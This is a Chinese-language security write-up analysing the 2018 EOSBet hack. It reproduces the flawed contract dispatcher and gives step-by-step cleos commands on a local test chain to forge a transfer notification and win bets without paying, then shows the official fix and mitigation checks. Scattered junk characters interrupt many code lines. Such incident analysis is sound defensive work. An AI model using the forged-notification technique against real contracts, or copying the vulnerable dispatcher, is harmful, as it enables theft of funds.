文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis0 N$ r7 G6 Z& p9 k* O6 _
0x00 背景0 r- B4 G- z- e* w
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。0 i/ Y$ F* ~: d8 j1 e
4 A! q, p) o" q J
0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \& D7 j7 F0 p' T0 f: ~
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \; [$ N6 W _3 H u: ]2 q5 p
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \1 P6 E I! d- ?% q0 Y9 M( L
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \ C9 ]% J, }! W* s: e" m( S
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \5 E/ M8 |* f& |; o) }
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \" t/ _0 m- n& T
} \
} \+ z5 r1 S( z" c; o5 {4 W
}
通过官方给出的EOSIO_ABI,问题主要出在以下代码
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \" a. [2 e: Z& m
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
}& ]9 w8 {+ }& }; N2 N8 a
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。, z/ R- }) m# }4 g/ T
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。4 b& H7 h8 |. K$ O5 q! Y8 G
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0x02 攻击复盘
创建eosio.token账户; w c. [6 E( b& }, x/ z+ O; h
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
部署eosio.token合约并初始化
# 部署合约0 p! Q+ H. O& _* W, v
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio9 D( H( x; Z% {$ N5 M" }
# 初始化合约# U, `. ?% Q% C# T
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token3 B$ w: a; k! N; P1 Y$ ?$ X
创建游戏账户、开奖账户和攻击者账户: b P' F& z R0 Z. t: N. ?: F" D
#创建游戏账户和开奖账户0 o$ m' X+ R: q' l! ]% i. c+ V
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户1 y8 y: y3 @2 }" A
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
设置账户随机权限和开奖权限
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner v/ D! L# ~0 z: n8 b5 G1 a
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner# z% W2 R* [% c
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random" A( `0 E, F+ b& O
向相关账户冲入代币& C/ ^" {7 i1 C7 ?
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active3 g2 \: U; X3 |7 i

部署游戏合约并初始化# [ x0 `, ^) F3 m) a
#部署游戏合约
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice
#初始化游戏合约6 [& |/ L. n8 T- ?$ W+ g& P# |# p' c
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino8 E. T$ G! G& G& k# s" E7 @/ ?( E
模拟黑客攻击(伪造转账通知)8 y* O& W4 h! Y' l b
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单
cleos get table eosbetdice11 eosbetdice11 activebets; g0 _- B7 _3 n8 [* E% P
可见,游戏订单已经生成,查询attacker和eosbetdice11账户
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。+ E7 o% |; K% F7 \3 ?& W; r( A
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
$ ^$ w2 I4 b# R1 T
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。
0x03 后记% H' b9 o# m- m9 e
EOSBet随后将修复方案公开' O4 Y% I& l2 S2 w) I$ d
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \) |; F* X' x, q: P; d$ m
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \- ]. r# ]# R2 q2 {$ J
// 必须是eosio.token来调用合约自身的transfer函数# c& b5 Q4 w, Y! r
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \; L# u6 D$ B* \6 n
} \6 n9 T/ `+ q7 g
TYPE thiscontract( self ); \
switch( action ) { \6 d! [* ^) [' x- Q0 J* e7 ~6 ^8 z
EOSIO_API( TYPE, MEMBERS ) \
} \* ^: N1 b$ A, k) A1 N
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \+ b5 s4 f9 v' s8 f/ u& [! s
} \
}. W+ f- Z0 v- i1 R7 H
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0x04 修复方案: ]* M) p9 }$ l& H# g& E2 s" |
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:8 ?; f8 W' S& [" _( A' l8 i
) @" z, V9 `% N8 _$ K- x1 \
通知是否来自eosio.token,即只处理eosio.token发送的通知
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");1 _# Z* J$ O% R) @+ g& P
9 n# x6 Y, S9 \6 ]! b- w, q. L7 w
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知2 N! @# @9 W- z F. F# i) E: o9 n
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");